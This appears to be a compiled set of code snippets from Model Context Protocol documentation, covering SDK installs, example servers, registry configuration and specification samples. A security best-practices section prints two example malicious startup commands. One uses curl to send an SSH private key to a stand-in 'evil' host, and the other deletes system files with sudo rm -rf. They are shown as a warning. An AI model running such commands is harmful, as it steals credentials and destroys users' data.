### Clone and Install Dependencies (Windows)

Source: https://modelcontextprotocol.io/extensions/apps/build

Clone the ext-apps repository and install dependencies for the basic-host example on Windows.

```powershell
git clone https://github.com/modelcontextprotocol/ext-apps.git
cd ext-apps\examples\basic-host
npm install
```

--------------------------------

### Clone and Install Dependencies (macOS/Linux)

Source: https://modelcontextprotocol.io/extensions/apps/build

Clone the ext-apps repository and install dependencies for the basic-host example on macOS or Linux.

```bash
git clone https://github.com/modelcontextprotocol/ext-apps.git
cd ext-apps/examples/basic-host
npm install
```

--------------------------------

### Install, Build, and Serve MCP App (Windows)

Source: https://modelcontextprotocol.io/extensions/apps/build

Execute these commands in your app folder to install dependencies, build the project, and start the development server on Windows.

```powershell
npm install; npm run build; npm run serve
```

--------------------------------

### Verify Development Environment Setup

Source: https://modelcontextprotocol.io/community/contributing

Check if Node.js, npm, and Git are installed and meet the minimum version requirements. These commands are cross-platform compatible.

```bash
node --version  # Should be 24.x or higher
npm --version   # Should be 11.x or higher
git --version   # Any recent version
```

--------------------------------

### Install, Build, and Serve MCP App (macOS/Linux)

Source: https://modelcontextprotocol.io/extensions/apps/build

Run these commands in your app folder to install dependencies, build the project, and start the development server on macOS or Linux.

```bash
npm install && npm run build && npm run serve
```

--------------------------------

### Install Rust (Windows)

Source: https://modelcontextprotocol.io/docs/develop/build-server

Instructions for installing Rust on Windows using rustup-init.exe.

```powershell
# Download and run rustup-init.exe from https://rustup.rs/
```

--------------------------------

### Basic MCP Server Example

Source: https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/refs/heads/main/README.md

A minimal MCP server example that exposes a 'greet' tool over stdio. Ensure zod is installed for schema validation.

```typescript
import { McpServer } from '@modelcontextprotocol/server';
import { StdioServerTransport } from '@modelcontextprotocol/server/stdio';
import * as z from 'zod/v4';

const server = new McpServer({ name: 'greeting-server', version: '1.0.0' });

server.registerTool(
    'greet',
    {
        description: 'Greet someone by name',
        inputSchema: z.object({ name: z.string() })
    },
    async ({ name }) => ({
        content: [{ type: 'text', text: `Hello, ${name}!` }]
    })
);

async function main() {
    const transport = new StdioServerTransport();
    await server.connect(transport);
}

main();
```

--------------------------------

### Inspect PyPI Package Server

Source: https://modelcontextprotocol.io/docs/tools/inspector

Start and inspect an MCP server package from PyPI. This example uses `uvx` to run the specified package with its arguments.

```bash
npx @modelcontextprotocol/inspector uvx <package-name> <args>
# For example
npx @modelcontextprotocol/inspector uvx mcp-server-git --repository ~/code/mcp/servers.git
```

--------------------------------

### Example Malicious Startup Commands

Source: https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices

These examples demonstrate potentially harmful commands that could be embedded in a client configuration for data exfiltration or privilege escalation.

```bash
# Data exfiltration
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
```

```bash
# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"
```

--------------------------------

### Example Run Command for Weather Tutorial

Source: https://modelcontextprotocol.io/docs/develop/build-client

An example command for running the MCP client, specifically for the weather tutorial, pointing to the weather server's JAR file.

```bash
java -jar build/libs/kotlin-mcp-client-0.1.0-all.jar .../samples/weather-stdio-server/build/libs/weather-stdio-server-0.1.0-all.jar
```

--------------------------------

### Install MCP Client Package

Source: https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/refs/heads/main/README.md

Use npm, bun, or deno to install the MCP client package.

```bash
npm install @modelcontextprotocol/client
# or
bun add @modelcontextprotocol/client
# or
den o add npm:@modelcontextprotocol/client
```

--------------------------------

### Install MCP Server Package

Source: https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/refs/heads/main/README.md

Use npm, bun, or deno to install the MCP server package.

```bash
npm install @modelcontextprotocol/server
# or
bun add @modelcontextprotocol/server
# or
den o add npm:@modelcontextprotocol/server
```

--------------------------------

### Install dependencies and build distribution files

Source: https://modelcontextprotocol.io/registry/quickstart

Install project dependencies and build the necessary distribution files using npm.

```bash
# Navigate to project directory
cd weather-server-typescript

# Install dependencies
npm install

# Build the distribution files
npm run build
```

--------------------------------

### Install Project Dependencies

Source: https://modelcontextprotocol.io/community/contributing

Install the necessary tools for schema generation, documentation building, and validation using npm.

```bash
npm install
```

--------------------------------

### Install Node.js and npm

Source: https://modelcontextprotocol.io/docs/develop/build-server

Verify your Node.js and npm installation by checking their versions. This project requires Node.js version 16 or higher.

```bash
node --version
npm --version
```

--------------------------------

### Configure Server for Remote and Local Installation

Source: https://modelcontextprotocol.io/registry/remote-servers

Use the `remotes` and `packages` properties in `server.json` to allow MCP host applications to select their preferred installation method.

```json
{
  "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
  "name": "io.github.username/email-integration-mcp",
  "title": "Email Integration",
  "description": "Send emails and manage email accounts",
  "version": "1.0.0",
  "remotes": [
    {
      "type": "streamable-http",
      "url": "https://email.example.com/mcp"
    }
  ],
  "packages": [
    {
      "registryType": "npm",
      "identifier": "@example/email-integration-mcp",
      "version": "1.0.0",
      "transport": {
        "type": "stdio"
      }
    }
  ]
}
```

--------------------------------

### Set Up Project Environment (Windows)

Source: https://modelcontextprotocol.io/docs/develop/build-server

Create a new project directory, initialize a Go module, install the MCP SDK, and create the main server file.

```powershell
md weather
cd weather

go mod init weather

go get github.com/modelcontextprotocol/go-sdk/mcp

new-item main.go
```

--------------------------------

### Example HTTP GET Request with Authorization

Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/authorization

An example HTTP GET request demonstrating the inclusion of the Authorization header.

```http
GET /mcp HTTP/1.1
Host: mcp.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
```

--------------------------------

### Set Up Project Environment (macOS/Linux)

Source: https://modelcontextprotocol.io/docs/develop/build-server

Create a new project directory, initialize a Go module, install the MCP SDK, and create the main server file.

```bash
mkdir weather
cd weather

go mod init weather

go get github.com/modelcontextprotocol/go-sdk/mcp

touch main.go
```

--------------------------------

### Initialize and Set Up Python Project (macOS/Linux)

Source: https://modelcontextprotocol.io/docs/develop/build-server

Creates a new project directory, initializes a virtual environment using uv, activates it, and installs necessary dependencies including the MCP SDK and httpx.

```bash
# Create a new directory for our project
uv init weather
cd weather

# Create virtual environment and activate it
uv venv
source .venv/bin/activate

# Install dependencies
uv add "mcp[cli]" httpx

# Create our server file
touch weather.py
```

--------------------------------

### Initialize and Set Up Python Project (Windows)

Source: https://modelcontextprotocol.io/docs/develop/build-server

Creates a new project directory, initializes a virtual environment using uv, activates it, and installs necessary dependencies including the MCP SDK and httpx.

```powershell
# Create a new directory for our project
uv init weather
cd weather

# Create virtual environment and activate it
uv venv
.venv\Scripts\activate

# Install dependencies
uv add mcp[cli] httpx

# Create our server file
new-item weather.py
```

--------------------------------

### Start Local Docs Server

Source: https://modelcontextprotocol.io/community/contributing

Launches a live preview of the documentation site with hot reloading, accessible at http://localhost:3000.

```bash
npm run serve:docs
```

--------------------------------

### Publish MCP Server with DNS Authentication

Source: https://modelcontextprotocol.io/registry/github-actions

This workflow snippet shows the initial step for DNS authentication. It requires further configuration to replace `example.com` with your actual domain name.

```yaml
name: Publish to MCP Registry

on:
  push:
    tags: ["v*"] # Triggers on version tags like v1.0.0

jobs:
  publish:
    runs-on: ubuntu-latest
    permissions:
      contents: read

    steps:
      - name: Checkout code
        uses: actions/checkout@v5

      ### Publish underlying npm package:

      - name: Set up Node.js
        uses: actions/setup-node@v5
        with:
          node-version: "lts/*"

      - name: Install dependencies
        run: npm ci

      - name: Run tests
        run: npm run test --if-present

      - name: Build package
        run: npm run build --if-present

      - name: Publish package to npm
        run: npm publish
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

      ### Publish MCP server:

      - name: Install mcp-publisher
        run: |
          curl -L "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_$(uname -s | tr '[:upper:]' '[:lower:]')_$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/').tar.gz" | tar xz mcp-publisher

      # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
      # TODO: Replace `example.com` with your domain name
      # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
      - name: Authenticate to MCP Registry

```

--------------------------------

### Prompt AI Agent to Create MCP App

Source: https://modelcontextprotocol.io/extensions/apps/build

Example prompt to instruct an AI coding agent to create an MCP App with specific functionality. Ensure the `create-mcp-app` skill is installed.

```text
Create an MCP App that displays a color picker
```

--------------------------------

### Create and Set Up C# Project (macOS/Linux)

Source: https://modelcontextprotocol.io/docs/develop/build-server

Commands to create a new directory, navigate into it, and initialize a new C# console project for an MCP server on macOS or Linux.

```bash
# Create a new directory for our project
mkdir weather
cd weather
# Initialize a new C# project
dotnet new console
```

--------------------------------

### MCP Registry API server list response

Source: https://modelcontextprotocol.io/registry/registry-aggregators

Example JSON response from the `GET /v0.1/servers` endpoint, showing server data and pagination metadata. The `nextCursor` is used for fetching subsequent pages.

```json
{
  "servers": [
    /* ... */
  ],
  "metadata": {
    "count": 100,
    "nextCursor": "com.example/my-server:1.0.0"
  }
}
```

--------------------------------

### Inspect npm Package Server

Source: https://modelcontextprotocol.io/docs/tools/inspector

Start and inspect an MCP server package from npm. This example uses `npx -y` to ensure the latest version of the Inspector is used and then runs the specified package with its arguments.

```bash
npx -y @modelcontextprotocol/inspector npx <package-name> <args>
# For example
npx -y @modelcontextprotocol/inspector npx @modelcontextprotocol/server-filesystem /Users/username/Desktop
```

--------------------------------

### Install npx

Source: https://modelcontextprotocol.io/docs/develop/build-client

Installs the npx package manager globally. Ensure npm is installed first.

```bash
npm install -g npx
```

--------------------------------

### Verify .NET Installation

Source: https://modelcontextprotocol.io/docs/develop/build-server

Command to check the installed .NET version. Ensure .NET 8 or higher is installed.

```bash
dotnet --version
```

--------------------------------

### Install npm Globally

Source: https://modelcontextprotocol.io/docs/develop/connect-local-servers

If the 'npx' command fails due to npm not being installed globally, run this command to install npm globally. This is a prerequisite for using 'npx' effectively.

```bash
npm install -g npm
```

--------------------------------

### Example server.json Configuration

Source: https://modelcontextprotocol.io/registry/quickstart

A sample server.json file generated by `mcp-publisher init`, detailing server name, repository, version, and package information including transport and environment variables.

```json
{
  "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
  "name": "io.github.my-username/weather",
  "description": "An MCP server for weather information.",
  "repository": {
    "url": "https://github.com/my-username/mcp-weather-server",
    "source": "github"
  },
  "version": "1.0.0",
  "packages": [
    {
      "registryType": "npm",
      "identifier": "@my-username/mcp-weather-server",
      "version": "1.0.0",
      "transport": {
        "type": "stdio"
      },
      "environmentVariables": [
        {
          "description": "Your API key for the service",
          "isRequired": true,
          "format": "string",
          "isSecret": true,
          "name": "YOUR_API_KEY"
        }
      ]
    }
  ]
}
```

--------------------------------

### Verify Java Installation

Source: https://modelcontextprotocol.io/docs/develop/build-client

Command to check the installed Java Development Kit version.

```bash
java --version
```

--------------------------------

### Verify Go Installation

Source: https://modelcontextprotocol.io/docs/develop/build-server

Check if Go is installed and accessible in your system's PATH.

```bash
go version
```

--------------------------------

### Main Entry Point for MCP Client

Source: https://modelcontextprotocol.io/docs/develop/build-client

Sets up the MCP client, connects to the server, and starts the chat loop. Requires the ANTHROPIC_API_KEY environment variable and the server script path as a command-line argument.

```kotlin
fun main(args: Array<String>) = runBlocking {
    require(args.isNotEmpty()) { "Usage: java -jar <path> <path_to_server_script>" }

    val apiKey = System.getenv("ANTHROPIC_API_KEY")
    require(!apiKey.isNullOrBlank()) { "ANTHROPIC_API_KEY environment variable is not set" }

    val client = MCPClient(apiKey)
    client.use {
        client.connectToServer(args.first())
        client.chatLoop()
    }
}
```

--------------------------------

### Verify mcp-publisher Installation

Source: https://modelcontextprotocol.io/registry/quickstart

Checks if the mcp-publisher CLI is installed correctly by displaying its help information.

```bash
mcp-publisher --help
```

--------------------------------

### Ruby Project Setup with Dependencies

Source: https://modelcontextprotocol.io/docs/develop/build-client

Sets up a new Ruby project for an MCP client, initializes a Gemfile, and adds necessary dependencies including the Anthropic SDK. This is the initial step for building a Ruby-based MCP client.

```bash
# Create project directory
mkdir mcp-client
cd mcp-client

# Create a Gemfile
bundle init

# Add required dependencies
bundle add anthropic base64 dotenv mcp

# Create our main file
touch client.rb
```

--------------------------------

### Initialize Kotlin Project (Bash)

Source: https://modelcontextprotocol.io/docs/develop/build-server

Use these commands to create a new directory and initialize a Kotlin project using Gradle.

```bash
# Create a new directory for our project
mkdir weather
cd weather

# Initialize a new kotlin project
gradle init
```

--------------------------------

### Install mcp-publisher CLI (Homebrew)

Source: https://modelcontextprotocol.io/registry/quickstart

Installs the mcp-publisher CLI tool using Homebrew on macOS.

```bash
brew install mcp-publisher
```

--------------------------------

### Set up Ruby Project Environment on Windows

Source: https://modelcontextprotocol.io/docs/develop/build-server

Commands to create a new project directory, initialize a Gemfile, add the MCP SDK dependency, and create the main server file for a Ruby project using PowerShell.

```powershell
# Create a new directory for our project
mkdir weather
cd weather

# Create a Gemfile
bundle init

# Add the MCP SDK dependency
bundle add mcp

# Create our server file
new-item weather.rb
```

--------------------------------

### Install Rust (macOS/Linux)

Source: https://modelcontextprotocol.io/docs/develop/build-server

Installs Rust using the official script for macOS and Linux systems.

```bash
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
```

--------------------------------

### Install MCP SDK for Python

Source: https://modelcontextprotocol.io/extensions/auth/oauth-client-credentials

Install the MCP client SDK for Python using pip.

```bash
pip install mcp
```

--------------------------------

### Initialize Python Project with uv

Source: https://modelcontextprotocol.io/docs/develop/build-client

Use `uv init` to create a new Python project directory and `uv venv` to set up a virtual environment. Activate the environment and install necessary packages like `mcp`, `anthropic`, and `python-dotenv` using `uv add`. Finally, remove default files and create your main client file.

```bash
# Create project directory
uv init mcp-client
cd mcp-client

# Create virtual environment
uv venv

# Activate virtual environment
source .venv/bin/activate

# Install required packages
uv add mcp anthropic python-dotenv

# Remove boilerplate files
rm main.py

# Create our main file
touch client.py
```

```powershell
# Create project directory
uv init mcp-client
cd mcp-client

# Create virtual environment
uv venv

# Activate virtual environment
.venv\Scripts\activate

# Install required packages
uv add mcp anthropic python-dotenv

# Remove boilerplate files
del main.py

# Create our main file
new-item client.py
```

--------------------------------

### Install MCP SDK for TypeScript

Source: https://modelcontextprotocol.io/extensions/auth/oauth-client-credentials

Install the MCP client SDK for TypeScript using npm.

```bash
npm install @modelcontextprotocol/client
```

--------------------------------

### Create and Set Up Rust Project (macOS/Linux)

Source: https://modelcontextprotocol.io/docs/develop/build-server

Creates a new Rust project named 'weather' and navigates into its directory.

```bash
# Create a new Rust project
cargo new weather
cd weather
```

--------------------------------

### Protocol Error Example

Source: https://modelcontextprotocol.io/specification/2025-11-25/server/tools

An example of a JSON-RPC protocol error, indicating an unknown tool was requested.

```json
{
  "jsonrpc": "2.0",
  "id": 3,
  "error": {
    "code": -32602,
    "message": "Unknown tool: invalid_tool_name"
  }
}
```

--------------------------------

### Task Get Request Interface

Source: https://modelcontextprotocol.io/seps/2663-tasks-extension

Defines the TypeScript interface for a request to get the status of a task.

```typescript
interface GetTaskRequest extends JSONRPCRequest {
  method: "tasks/get";
  params: {
    /** Identifier of the task to query. */
    taskId: string;
  };
}
```

--------------------------------

### Set up TypeScript Project Environment (macOS/Linux)

Source: https://modelcontextprotocol.io/docs/develop/build-server

Create a new project directory, initialize an npm project, install necessary dependencies including the MCP SDK and Zod, and set up TypeScript.

```bash
# Create a new directory for our project
mkdir weather
cd weather

# Initialize a new npm project
npm init -y

# Install dependencies
npm install @modelcontextprotocol/sdk zod@3
npm install -D @types/node typescript

# Create our files
mkdir src
touch src/index.ts
```

--------------------------------

### Set up TypeScript Project Environment (Windows)

Source: https://modelcontextprotocol.io/docs/develop/build-server

Create a new project directory, initialize an npm project, install necessary dependencies including the MCP SDK and Zod, and set up TypeScript on Windows.

```powershell
# Create a new directory for our project
md weather
cd weather

# Initialize a new npm project
npm init -y

# Install dependencies
npm install @modelcontextprotocol/sdk zod@3
npm install -D @types/node typescript

# Create our files
md src
new-item src\index.ts
```

--------------------------------

### Run MCP Client with Executable Server

Source: https://modelcontextprotocol.io/docs/develop/build-client

Example command to run the MCP client, connecting to an executable MCP server. Assumes the server binary is located at 'path/to/server-binary'.

```bash
cargo run -- path/to/server-binary
```

--------------------------------

### Verify Rust Installation

Source: https://modelcontextprotocol.io/docs/develop/build-server

Checks the installed versions of the Rust compiler (rustc) and the Cargo build tool.

```bash
rustc --version
cargo --version
```

--------------------------------

### Example JWT Token

Source: https://modelcontextprotocol.io/docs/tutorials/security/authorization

This is an example of a JWT token issued by Keycloak. It contains claims that will be used for authorization.

```text
eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICI1TjcxMGw1WW5MWk13WGZ1VlJKWGtCS3ZZMzZzb3JnRG5scmlyZ2tlTHlzIn0.eyJleHAiOjE3NTU1NDA4MTcsImlhdCI6MTc1NTU0MDc1NywiYXV0aF90aW1lIjoxNzU1NTM4ODg4LCJqdGkiOiJvbnJ0YWM6YjM0MDgwZmYtODQwNC02ODY3LTgxYmUtMTIzMWI1MDU5M2E4IiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwL3JlYWxtcy9tYXN0ZXIiLCJhdWQiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAiLCJzdWIiOiIzM2VkNmM2Yi1jNmUwLTQ5MjgtYTE2MS1mMmY2OWM3YTAzYjkiLCJ0eXAiOiJCZWFyZXIiLCJhenAiOiI3OTc1YTViNi04YjU5LTRhODUtOWNiYS04ZmFlYmRhYjg5NzQiLCJzaWQiOiI4ZjdlYzI3Ni0zNThmLTRjY2MtYjMxMy1kYjA4MjkwZjM3NmYiLCJzY29wZSI6Im1jcDp0b29scyJ9.P5xCRtXORly0R0EXjyqRCUx-z3J4uAOWNAvYtLPXroykZuVCCJ-K1haiQSwbURqfsVOMbL7jiV-sD6miuPzI1tmKOkN_Yct0Vp-azvj7U5rEj7U6tvPfMkg2Uj_jrIX0KOskyU2pVvGZ-5BgqaSvwTEdsGu_V3_E0xDuSBq2uj_wmhqiyTFm5lJ1WkM3Hnxxx1_AAnTj7iOKMFZ4VCwMmk8hhSC7clnDauORc0sutxiJuYUZzxNiNPkmNeQtMCGqWdP1igcbWbrfnNXhJ6NswBOuRbh97_QraET3hl-CNmyS6C72Xc0aOwR_uJ7xVSBTD02OaQ1JA6kjCATz30kGYg
```